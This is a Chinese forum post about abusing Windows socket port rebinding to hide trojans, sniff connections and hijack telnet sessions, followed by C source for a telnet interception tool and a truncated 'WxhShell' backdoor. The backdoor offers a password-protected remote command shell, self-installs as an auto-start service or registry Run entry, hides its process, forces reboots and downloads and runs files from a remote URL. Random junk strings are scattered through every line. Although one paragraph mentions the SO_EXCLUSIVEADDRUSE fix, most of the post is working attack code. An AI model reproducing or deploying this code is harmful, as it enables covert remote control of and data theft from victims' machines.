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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T<Xw[PEnP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cFq<x=S  
VV1sadS:S`  
  saddr.sin_family = AF_INET; &D{!zF  
ZlC+DXg#S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?'f  
b3>zdS]Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z0+JMZ/  
.+XK>jl +  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G.L}VpopM  
^(+q 1O'  
  这意味着什么?意味着可以进行如下的攻击: cOdRb=?9  
b1#C,UWK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :t`W&z41  
oZ/"^5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) GO2q"a  
Pi5MFw'v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !\{2s!l~  
*j&\5|^V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  EmO[-W|2  
X(x,6cC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @ntwdv;  
h9m|f|cH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c"kB@P  
%E@o8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m_Ed[h/I  
tik*[1it  
  #include | WJ]7C  
  #include 3YLfh`6  
  #include hY{4_ie=8  
  #include    -E6av|c,F  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )!rD&l$tE  
  int main() ?/MkH0[G=  
  { LvS5N)[  
  WORD wVersionRequested; Ws3z-U>j  
  DWORD ret; Wf "$  
  WSADATA wsaData; )?radg  
  BOOL val; `_)9eGQ  
  SOCKADDR_IN saddr; wxK71OH  
  SOCKADDR_IN scaddr; )vOBF5  
  int err; %fS1g Sf h  
  SOCKET s; T2]8w1l&K  
  SOCKET sc; .?g=mh79(  
  int caddsize; ku*k+4rz  
  HANDLE mt; 8i;drvf  
  DWORD tid;   {ST8'hY  
  wVersionRequested = MAKEWORD( 2, 2 ); A3 TR'BFw-  
  err = WSAStartup( wVersionRequested, &wsaData ); J&h59dm-  
  if ( err != 0 ) { :9 (kU  
  printf("error!WSAStartup failed!\n"); 8iD7K@  
  return -1; rU9")4sQ  
  } PO'K?hVS^w  
  saddr.sin_family = AF_INET; |*J;X<Vm  
   GjW(&p$&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <`Fl Igo  
S6bYd`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <HJLs+C  
  saddr.sin_port = htons(23); @Yb8CB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ']2d^'TH  
  { ) C~#W  
  printf("error!socket failed!\n"); Z)xcxSo  
  return -1; : ^}!"4{  
  } Y{e,I-"{  
  val = TRUE; -tWxB GSa@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :I";&7C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mp sX4  
  { bt1bTo  
  printf("error!setsockopt failed!\n"); L=Aj+  
  return -1; K'8?%&IQ  
  } 4IW90"uc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7lF;(l^Z>}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Gl{'a1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o92BGqA>&  
tOnOzD  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /KnIU|;  
  { o-_,l J7o^  
  ret=GetLastError(); g$)0E<  
  printf("error!bind failed!\n"); _+)OL-  
  return -1; [?<v|k  
  } n3V$Xtxw  
  listen(s,2); V+>RF  
  while(1) 2<0".5+I  
  { jl 7>  
  caddsize = sizeof(scaddr); /-lW$.+{?  
  //接受连接请求 hA/Es?U]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +7WpJ;C4  
  if(sc!=INVALID_SOCKET) p[WlcbBwT  
  { ZI$P Qz2i  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X0ugnQ6  
  if(mt==NULL) qrOesSdc  
  { j3w~2q"r  
  printf("Thread Creat Failed!\n"); ~IO'"h'w  
  break; &=%M("IlD  
  } ;A"i.:ZT  
  } tD}{/`{_t  
  CloseHandle(mt); ! Y UT*  
  } !T)_(}|6}  
  closesocket(s); A;ZluQ  
  WSACleanup(); OBlQ   
  return 0; $M-"az]  
  }   *R4=4e2#S  
  DWORD WINAPI ClientThread(LPVOID lpParam) .u7grC C  
  { BH}rg,]G  
  SOCKET ss = (SOCKET)lpParam; G^<m0ew|  
  SOCKET sc; 4s>L]! W$8  
  unsigned char buf[4096]; >W/mRv&  
  SOCKADDR_IN saddr; j1Sjw6}GCH  
  long num; *pS3xit~  
  DWORD val; %y>*9$<pXe  
  DWORD ret; ${ .:(z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #>CWee;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rjfWty%6pX  
  saddr.sin_family = AF_INET; mDwuJf8}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :& $v.#  
  saddr.sin_port = htons(23); \mb@-kM)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H_Hr=_8}-  
  { }|=Fnyj  
  printf("error!socket failed!\n"); K43`$  
  return -1; x`wUi*G  
  } 7PfNPz<4+  
  val = 100; a&mL Dh/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) buKkm$@w  
  { A;/,</  
  ret = GetLastError(); H,/ =<Th;i  
  return -1; rWM5&M  
  } *6_>/!ywI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %ID48_>*  
  { rf^IJY[  
  ret = GetLastError(); 's"aPqF?  
  return -1; #cD$ DA  
  } ) cOBP}j+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]U4C2}u  
  { Ttb?x<)+8  
  printf("error!socket connect failed!\n"); -DZ5nx  
  closesocket(sc); tnb'\}Vn  
  closesocket(ss); E7SmiD@)  
  return -1; 6]!Jo)BF  
  } N^[MeG,8  
  while(1) $RRh}w\0^  
  { vls+E o]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b\NY!)B  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ffOV7Dxy  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'UCClj;?K  
  num = recv(ss,buf,4096,0); j6*e^ B  
  if(num>0) {c $8?6  
  send(sc,buf,num,0); *m&'6qsS  
  else if(num==0) qvh8~[  
  break; M6Ik'r"M  
  num = recv(sc,buf,4096,0); |D;I>O^"R  
  if(num>0) b9Eb"  
  send(ss,buf,num,0); =.`e4}u \X  
  else if(num==0) W$D:mw7  
  break; 7/=r-  
  } L[+4/a!HQ  
  closesocket(ss); C1YH\ X(r  
  closesocket(sc); ^m.%FIwR  
  return 0 ; wUS w 9xg  
  } }&l%>P  
Q`=d5Uvw  
?|hYtV  
========================================================== k_OzkEM9!  
K9RRY,JB  
下边附上一个代码,,WXhSHELL &6\E'bBt  
A(C0/|#V  
========================================================== y]k{u\2A  
,}^;q58  
#include "stdafx.h" *'@T+$3s  
? a*yK8S  
#include <stdio.h> N40DL_-  
#include <string.h> 9~r8$,e  
#include <windows.h> `Z@qWB<  
#include <winsock2.h> w/ID y Q  
#include <winsvc.h> )Ee`11  
#include <urlmon.h> _^0UK|[  
y&F&Z3t  
#pragma comment (lib, "Ws2_32.lib") PC?XE8o  
#pragma comment (lib, "urlmon.lib") 2) Q/cH\g  
Qyj:!-o  
#define MAX_USER   100 // 最大客户端连接数 y 5Kr<cF^  
#define BUF_SOCK   200 // sock buffer vF{{$)c  
#define KEY_BUFF   255 // 输入 buffer K>2Bz&)  
ph7]*W-  
#define REBOOT     0   // 重启 r;zG  
#define SHUTDOWN   1   // 关机 7x$VH5jie#  
^{O1+7d[.  
#define DEF_PORT   5000 // 监听端口 _6sSS\  
V$  MMK  
#define REG_LEN     16   // 注册表键长度 lxLEYDGFS  
#define SVC_LEN     80   // NT服务名长度 R{Me~L?  
?[X^'zz}  
// 从dll定义API w[;5]z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5.U|CL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0*/[z~Z-1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QyEoWKu;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pc](  
`jGG^w3  
// wxhshell配置信息 $)j f  
struct WSCFG { k`0m|<$  
  int ws_port;         // 监听端口 Q,>]f@m  
  char ws_passstr[REG_LEN]; // 口令 {@X)=.Zf  
  int ws_autoins;       // 安装标记, 1=yes 0=no _$gP-J  
  char ws_regname[REG_LEN]; // 注册表键名 S1*xM  
  char ws_svcname[REG_LEN]; // 服务名 @$|bMH*1:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kK]L(ZU +  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M+M\3U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F*,RDM'M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ij7[2V]c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KA9v?_@{F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D;oX*`  
E*UE?4FSw|  
}; ]6?6 k4@  
v==/tr)  
// default Wxhshell configuration CDG,l7  
struct WSCFG wscfg={DEF_PORT, N MH'4R  
    "xuhuanlingzhe", C.VU"= -  
    1, U!524"@%U`  
    "Wxhshell", 6L&_(/{Uw  
    "Wxhshell", yT C+5_7  
            "WxhShell Service", ? wZ`U Oi  
    "Wrsky Windows CmdShell Service", 7MwS[N%#  
    "Please Input Your Password: ", s>e)\9c  
  1, 3m/XT"D  
  "http://www.wrsky.com/wxhshell.exe", +)e+$ l  
  "Wxhshell.exe" ~|8-Mo1ce  
    }; #J*hZ(Pq  
"l-R|>6~  
// 消息定义模块 j:'8yFi_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; & ]1gx#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2j-^F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WKONK;U+7  
char *msg_ws_ext="\n\rExit."; iiTt{ab\Y  
char *msg_ws_end="\n\rQuit."; 3|1v)E  
char *msg_ws_boot="\n\rReboot..."; ee .,D  
char *msg_ws_poff="\n\rShutdown..."; 78t:ge eX  
char *msg_ws_down="\n\rSave to "; A0gRX]  
C\gKJW^]y@  
char *msg_ws_err="\n\rErr!"; AP/#?   
char *msg_ws_ok="\n\rOK!"; `:YCOF  
#-bz$w#*  
char ExeFile[MAX_PATH]; {*K7P>&  
int nUser = 0; 5/m}v'S%  
HANDLE handles[MAX_USER]; +E }q0GV  
int OsIsNt; }<=_&n  
=r>u'wRQ  
SERVICE_STATUS       serviceStatus; gH|:=vfYUR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OH6-\U'.Z  
_.^`DP >  
// 函数声明 rE9Nt9}  
int Install(void); ^.@F1k  
int Uninstall(void); a<l DT_2b  
int DownloadFile(char *sURL, SOCKET wsh); .g!K| c  
int Boot(int flag); #.@-ng6C  
void HideProc(void); Oz Axnd\.N  
int GetOsVer(void); A/88WC$v  
int Wxhshell(SOCKET wsl); g,s^qW0vds  
void TalkWithClient(void *cs); <j:@ iP  
int CmdShell(SOCKET sock); Z^_gS&nDa~  
int StartFromService(void); YZ^mH <  
int StartWxhshell(LPSTR lpCmdLine); 40HhMTZ0-  
#;/ob-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Yp EH(tq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0n*D](/NK  
lwm 9gka  
// 数据结构和表定义 Y |9  
SERVICE_TABLE_ENTRY DispatchTable[] = 0?O$->t  
{ b!`{fwV  
{wscfg.ws_svcname, NTServiceMain}, qpV"ii  
{NULL, NULL} /n1L},67h  
}; Q+ZZwqyxD  
hd@jm^k  
// 自我安装 3>mAZZL5[  
int Install(void) j?1wP6/NP  
{ 1x^Vv;K  
  char svExeFile[MAX_PATH]; QAX3*%h  
  HKEY key; heQyz|o  
  strcpy(svExeFile,ExeFile); PP8627uP  
%F13*hOu  
// 如果是win9x系统,修改注册表设为自启动 8T88  
if(!OsIsNt) { }mpFo 2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ) (0=w4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AejM\#>  
  RegCloseKey(key); y+nX(@~f]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r*9*xZ>8u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2=uwGIF  
  RegCloseKey(key); 63/a 0Yn  
  return 0; @W-0ybv  
    } C%H?vrR  
  } yX/{eX5dr  
} $N\k*=  
else { &pW2R}  
lN*beOj  
// 如果是NT以上系统,安装为系统服务 7QRkXs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fGoJP[ae  
if (schSCManager!=0) wU|jw(  
{ ic}mru  
  SC_HANDLE schService = CreateService k%V YAON  
  ( p4D.nB8  
  schSCManager, J T6}m  
  wscfg.ws_svcname, RoNE7|gF:  
  wscfg.ws_svcdisp, 6B+?X5-6DH  
  SERVICE_ALL_ACCESS, D~n-;T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d .%2QkL  
  SERVICE_AUTO_START, /  QT>"  
  SERVICE_ERROR_NORMAL, P=l 7m*m  
  svExeFile, g)7@EU2  
  NULL, X0]{8v%  
  NULL, ~ +h4i'  
  NULL, hDXaCift  
  NULL, [9G=x[  
  NULL 8*Ty`G&v  
  ); vIf-TQw  
  if (schService!=0) !,]2.:{0z  
  { }46Zfg\T6n  
  CloseServiceHandle(schService); -kHJH><j  
  CloseServiceHandle(schSCManager); '}IGV`c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $PRUzFZ  
  strcat(svExeFile,wscfg.ws_svcname); _r>kR7A\{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X 8):R- J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kPoz&e_@  
  RegCloseKey(key); 9sI&d  
  return 0; *7b?.{  
    } Vh>|F}%E  
  } uU%Z%O  
  CloseServiceHandle(schSCManager); QseV\;z  
} W8F@nY  
} sR/y|  
$9P=  
return 1; *W;;L_V"   
} &j,# 5f(  
>~_z#2PA  
// 自我卸载 `@ny!S|1/  
int Uninstall(void) Kg`P@  
{ QAAuFZs  
  HKEY key; yzZzaYv "/  
hu.p;A3p;  
if(!OsIsNt) { g#`}HuPoE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e4|a^lS;  
  RegDeleteValue(key,wscfg.ws_regname); &XCP@@T  
  RegCloseKey(key); R+z'6&/ =I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Kp^"<%RT  
  RegDeleteValue(key,wscfg.ws_regname); 5h|aX  
  RegCloseKey(key); ;" Aj80  
  return 0; #<X4RJ  
  } ',/#|  
}  W =;,ls  
} O(VWJ@EHn  
else { Y=?{TX=6<[  
]>1`Fa6_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ug.|ag'R  
if (schSCManager!=0) | P`b"x  
{ ^VW]Qr!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +r7hc;+G  
  if (schService!=0) ]=9 d'WL  
  { {]dG 9  
  if(DeleteService(schService)!=0) { oUO3,2bn  
  CloseServiceHandle(schService); J% n#uUs  
  CloseServiceHandle(schSCManager); l fF RqZ  
  return 0; W?"l6s  
  } ?XP4kjJ  
  CloseServiceHandle(schService); P (DEf(  
  } -%| ] d ;  
  CloseServiceHandle(schSCManager); ;Yv{)@'Bc  
} P j,H]  
} 8:)[.  
Hpa6; eT  
return 1; w,up`W7,  
} K\xnQeS<W  
QT zN  
// 从指定url下载文件 `JY+3d,Ui  
int DownloadFile(char *sURL, SOCKET wsh) E)`0(Z:E  
{ /KNR;n'  
  HRESULT hr; *rbgDaQ  
char seps[]= "/"; j Neb*dPoK  
char *token; M$Bb,s  
char *file; QmSMDWkh  
char myURL[MAX_PATH]; egBk7@Ko  
char myFILE[MAX_PATH]; zyO=x 4U8  
W -HOl!)  
strcpy(myURL,sURL); ^/$dSXKF  
  token=strtok(myURL,seps); Y652&{>q  
  while(token!=NULL) ITg:OOQ  
  { ,A $IFE  
    file=token; ~(-1mB,  
  token=strtok(NULL,seps); v#d(Kj  
  } ~JNE]mg  
l1|*(%p?X  
GetCurrentDirectory(MAX_PATH,myFILE); q'a]DJ`  
strcat(myFILE, "\\"); cMF)2^w}  
strcat(myFILE, file); |d-x2M[  
  send(wsh,myFILE,strlen(myFILE),0); xQU//kNL  
send(wsh,"...",3,0); H }]Zp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H C,5j)1  
  if(hr==S_OK) 1h(IrV5g  
return 0; oV;sd5'LG  
else uD?RL~M  
return 1; \At~94  
.ahY 1CO  
} >N2kWSa  
^;h\#S[%  
// 系统电源模块 #pgD-0_  
int Boot(int flag) .P7q)lj36h  
{ ' `c \Dq  
  HANDLE hToken; f3qR7%X?  
  TOKEN_PRIVILEGES tkp; Er|&4-9  
04&S.#+(  
  if(OsIsNt) { 2O@ON/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y:\]d1C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yUD@oOVC0  
    tkp.PrivilegeCount = 1; YgjW%q   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |bSAn*6b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {D^ )% {  
if(flag==REBOOT) { ULu@"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k{lo'  
  return 0; w'A*EWO  
} >yLDU_P)  
else { rir,|y,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2;*G!rE&*`  
  return 0; 0tL5t7/Gr  
} d }fd^x/  
  } Sz<:WY/(x  
  else { Gey-8  
if(flag==REBOOT) { _<jU! R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,mvFeo;@f  
  return 0; H)E,([   
} g.Qn,l]X/p  
else { ~PQR_?1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &&52ji<3  
  return 0; X]2Ib'(  
} !KJ X$?  
} ==?%]ZE8  
-6uLww=w4  
return 1; 9<y{:{i  
} l l*g *zt3  
+PWm=;tcC  
// win9x进程隐藏模块 :|S[i('  
void HideProc(void) E$4H;SN \  
{ B8T5?bl  
w5s&Ws  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w5)KWeGa  
  if ( hKernel != NULL ) "N_@q2zF  
  { /O$~)2^h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q.7X3A8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z1,#ma}.  
    FreeLibrary(hKernel); mZ? jpnd  
  } PWvTC`?  
~N| aCi-X  
return; bA Yp }  
} NX(IX6^y  
SeS ZMv  
// 获取操作系统版本 |x1Ttr,  
int GetOsVer(void) K"g{P  
{ i !sVQ(:  
  OSVERSIONINFO winfo; >7X5/z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4IB`7QJq  
  GetVersionEx(&winfo); .,(x7?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i$3#/*Y7_L  
  return 1; jqj}j2 9  
  else }*%=C!m4R!  
  return 0; >wb*kyO7(#  
} Pq35w#`!  
_X<V` , p  
// 客户端句柄模块 5>CeFy  
int Wxhshell(SOCKET wsl) ,K6ODtw.  
{ Zn. S65J*u  
  SOCKET wsh; E=S_1  
  struct sockaddr_in client; sA: /!9  
  DWORD myID; i=>`=. ~  
tRc 3<>  
  while(nUser<MAX_USER) J32{#\By  
{ `WC4:8  
  int nSize=sizeof(client); PIFZ '6gn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7KRNTnd  
  if(wsh==INVALID_SOCKET) return 1; 5oYeUy>N  
Fd80T6[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `LIlR8&@aX  
if(handles[nUser]==0) WTt /y\'6  
  closesocket(wsh); K^GvU0\  
else iH]0 YT.E  
  nUser++; +JD^5J,-NJ  
  } HlkjyD8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &.z-itiV  
*"F*6+}w"  
  return 0; h<?I?ZR0$  
} "FGgem%9  
_h=h43'3  
// 关闭 socket L7(.dO0C  
void CloseIt(SOCKET wsh) d@cyQFX  
{ 3)&rj 7  
closesocket(wsh); i ^N}avO  
nUser--; Ly, ];  
ExitThread(0); {O!;cI~  
} r[kHVT8  
!{uV-c-5,  
// 客户端请求句柄 F3Vvqt*2  
void TalkWithClient(void *cs) S*3$1BTl  
{ B@\0b|  
UQ^ )t ]  
  SOCKET wsh=(SOCKET)cs; jl]p e7-  
  char pwd[SVC_LEN]; AC fhy[,  
  char cmd[KEY_BUFF]; WYCDEoqU2  
char chr[1]; D,-L!P  
int i,j; ;tD?a7  
QiRx2Z*\  
  while (nUser < MAX_USER) { }!s$ / Kn  
[ CU8%%7  
if(wscfg.ws_passstr) { 1_}k)(n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ih:%U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j}jU.\*v<  
  //ZeroMemory(pwd,KEY_BUFF); +'` ^ N  
      i=0; {=R vFA  
  while(i<SVC_LEN) { OQuTM[W  
zn*i  
  // 设置超时 l`JKQk   
  fd_set FdRead; J(XK%e[8  
  struct timeval TimeOut; nu|odP  
  FD_ZERO(&FdRead); b%X}{/n  
  FD_SET(wsh,&FdRead); }_Sgor83n  
  TimeOut.tv_sec=8; i~HS"n  
  TimeOut.tv_usec=0; mUb2U&6(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [vdC$9z,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =E~SaT  
<sGioMr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >6;RTN/P2  
  pwd=chr[0]; cetlr  
  if(chr[0]==0xd || chr[0]==0xa) { }LZz"b<aw  
  pwd=0; 0b,{4DOD  
  break; {`L,F  
  } !:g\Fe]  
  i++; 9B3}LVg\  
    } *(*XNd||  
.8|5;!`WB  
  // 如果是非法用户,关闭 socket '+S!>Lqb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O,I7M?dRf  
} hM(Hq4ed,  
.M\0+,%/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *O Kve  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); = &U7:u  
N9f;X{  
while(1) { Ahg6>7+R.  
kRzqgVr%  
  ZeroMemory(cmd,KEY_BUFF); QO,ge<N+N  
G&0JK ,Y  
      // 自动支持客户端 telnet标准   UZc{ Av  
  j=0; 0j 'k%R[l  
  while(j<KEY_BUFF) { N_.`5I;e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (W`=`]!  
  cmd[j]=chr[0]; dFpP_U  
  if(chr[0]==0xa || chr[0]==0xd) { L w/ZKXDU2  
  cmd[j]=0; MS%h`Ypo  
  break; 8ax3"G  
  } 'DH_ihZ  
  j++; nZS*"O#L  
    } gi\UNT9x  
K9'AYFse  
  // 下载文件 $4TawFf"nc  
  if(strstr(cmd,"http://")) { 2 BwpxV8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v|>'m#Ln2  
  if(DownloadFile(cmd,wsh)) jZ69sDhE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qjvIp-  
  else v#KE"m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K~z9b4a>  
  } *icxK  
  else { rMUQh~a/  
`qbsDfq@  
    switch(cmd[0]) { Tq >?.bq9  
  W3i X;-Z  
  // 帮助 :cTwp K  
  case '?': { Dr"F5Wbg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gB#$"mq,  
    break; y `w5u.'  
  } ;0++):30V  
  // 安装 4dvuw{NZ  
  case 'i': { V6 ,59  
    if(Install()) )'?@raB!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u:4?$%rB  
    else PR1%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j,JGs[A  
    break; DcLx [C  
    } C[(Exe  
  // 卸载 `L}Irt}  
  case 'r': { IqONDdep9  
    if(Uninstall()) P!2[#TL0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,t>/_pI+=  
    else @AkD-}^[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W*|U  
    break; ;tLu  
    } Wj. _{  
  // 显示 wxhshell 所在路径 -n$fh::^  
  case 'p': { r`/tb^  
    char svExeFile[MAX_PATH]; w-MnJ(r  
    strcpy(svExeFile,"\n\r"); %!1:BQ,p,i  
      strcat(svExeFile,ExeFile); +EgQj*F*  
        send(wsh,svExeFile,strlen(svExeFile),0); I"+;L4o`  
    break; <%rG*vzi  
    } ^k?Ig.m  
  // 重启 WAcQRa~C  
  case 'b': { 2myHn/%C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F D6>[W  
    if(Boot(REBOOT)) 9Q%Fel.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Q4m1? 40  
    else { v0}.!u>Ww  
    closesocket(wsh); 5 gbJTh<JU  
    ExitThread(0); n.Q?@\}2  
    } #| Et9  
    break; 8[;U|SR"  
    } -xf=dzm)  
  // 关机 fKAG+t  
  case 'd': { yN~: 3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Lw.N3!e[  
    if(Boot(SHUTDOWN)) vg1p{^N !  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E8Wgm 8  
